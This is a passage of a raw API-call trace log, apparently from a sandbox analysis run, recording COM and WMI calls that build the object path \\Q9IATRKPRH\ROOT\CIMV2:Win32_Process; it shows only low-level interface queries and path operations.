varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0075.854] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0075.854] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0075.854] IWbemClassObject:Get (in: This=0x11efe80, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0075.854] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0075.855] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0075.855] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0075.856] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0075.856] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0075.856] IUnknown:Release (This=0x111f638) returned 0x1 [0075.859] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf77cb0) returned 0x0 [0075.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77cb0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0075.859] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77cb0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6faa0) returned 0x0 [0075.859] WbemDefPath:IUnknown:Release (This=0x1bf77cb0) returned 0x0 [0075.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6faa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6faa0) returned 0x0 [0075.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6faa0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0075.860] WbemDefPath:IUnknown:AddRef (This=0x1bf6faa0) returned 0x3 [0075.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6faa0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0075.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6faa0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0075.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6faa0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77cf0) returned 0x0 [0075.860] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77cf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.860] WbemDefPath:IUnknown:Release (This=0x1bf77cf0) returned 0x3 [0075.860] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0075.861] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0075.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6faa0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0075.861] WbemDefPath:IUnknown:Release (This=0x1bf6faa0) returned 0x2 [0075.861] WbemDefPath:IUnknown:Release (This=0x1bf6faa0) returned 0x1 [0075.861] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0075.861] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0075.861] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6faa0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6faa0) returned 0x0 [0075.861] WbemDefPath:IUnknown:AddRef (This=0x1bf6faa0) returned 0x3 [0075.861] WbemDefPath:IUnknown:Release (This=0x1bf6faa0) returned 0x2 [0075.861] WbemDefPath:IWbemPath:SetText (This=0x1bf6faa0, uMode=0x4, pszPath="") returned 0x0 [0075.861] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0075.861] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0075.861] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0075.861] IUnknown:Release (This=0x111f638) returned 0x1 [0075.864] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf77cb0) returned 0x0 [0075.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77cb0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0075.865] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77cb0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6fb60) returned 0x0 [0075.865] WbemDefPath:IUnknown:Release (This=0x1bf77cb0) returned 0x0 [0075.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fb60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6fb60) returned 0x0 [0075.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fb60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0075.866] WbemDefPath:IUnknown:AddRef (This=0x1bf6fb60) returned 0x3 [0075.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fb60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0075.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fb60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0075.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fb60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77d30) returned 0x0 [0075.866] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77d30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.866] WbemDefPath:IUnknown:Release (This=0x1bf77d30) returned 0x3 [0075.866] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0075.866] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0075.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fb60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0075.866] WbemDefPath:IUnknown:Release (This=0x1bf6fb60) returned 0x2 [0075.866] WbemDefPath:IUnknown:Release (This=0x1bf6fb60) returned 0x1 [0075.867] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0075.867] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0075.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fb60, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6fb60) returned 0x0 [0075.867] WbemDefPath:IUnknown:AddRef (This=0x1bf6fb60) returned 0x3 [0075.867] WbemDefPath:IUnknown:Release (This=0x1bf6fb60) returned 0x2 [0075.867] WbemDefPath:IWbemPath:SetText (This=0x1bf6fb60, uMode=0x4, pszPath="") returned 0x0 [0075.867] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fb60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0075.867] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6faa0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0075.867] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf6fb60, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0075.867] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6fb60, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0075.867] WbemDefPath:IWbemPath:SetServer (This=0x1bf6fb60, Name="Q9IATRKPRH") returned 0x0 [0075.867] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0075.867] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0075.868] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0075.868] IUnknown:Release (This=0x111f638) returned 0x1 [0075.872] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf77d50) returned 0x0 [0075.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77d50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0075.872] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77d50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6fc20) returned 0x0 [0075.872] WbemDefPath:IUnknown:Release (This=0x1bf77d50) returned 0x0 [0075.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fc20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6fc20) returned 0x0 [0075.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fc20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0075.872] WbemDefPath:IUnknown:AddRef (This=0x1bf6fc20) returned 0x3 [0075.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fc20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0075.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fc20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0075.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fc20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77d90) returned 0x0 [0075.873] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77d90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.873] WbemDefPath:IUnknown:Release (This=0x1bf77d90) returned 0x3 [0075.873] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0075.873] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0075.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fc20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0075.873] WbemDefPath:IUnknown:Release (This=0x1bf6fc20) returned 0x2 [0075.873] WbemDefPath:IUnknown:Release (This=0x1bf6fc20) returned 0x1 [0075.873] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0075.873] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0075.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6fc20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6fc20) returned 0x0 [0075.873] WbemDefPath:IUnknown:AddRef (This=0x1bf6fc20) returned 0x3 [0075.873] WbemDefPath:IUnknown:Release (This=0x1bf6fc20) returned 0x2 [0075.873] WbemDefPath:IWbemPath:SetText (This=0x1bf6fc20, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fb60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fc20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fc20, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fc20, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0075.873] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf6fb60) returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fc20, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6fc20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6fc20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0075.873] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6fb60, uIndex=0x0, pszName="ROOT") returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6fc20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0075.873] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6fc20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0075.874] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6fb60, uIndex=0x1, pszName="CIMV2") returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf6fb60, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0075.874] WbemDefPath:IWbemPath:SetClassName (This=0x1bf6fb60, Name="Win32_Process") returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6fb60, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fb60, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fb60, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fb60, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6fb60, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6fb60, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fb60, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fb60, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f920, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f920, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fb60, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0075.874] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6fb60, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0075.874] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0075.874] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0075.874] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0075.874] IUnknown:Release (This=0x111f638) returned 0x1 [0075.876] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, 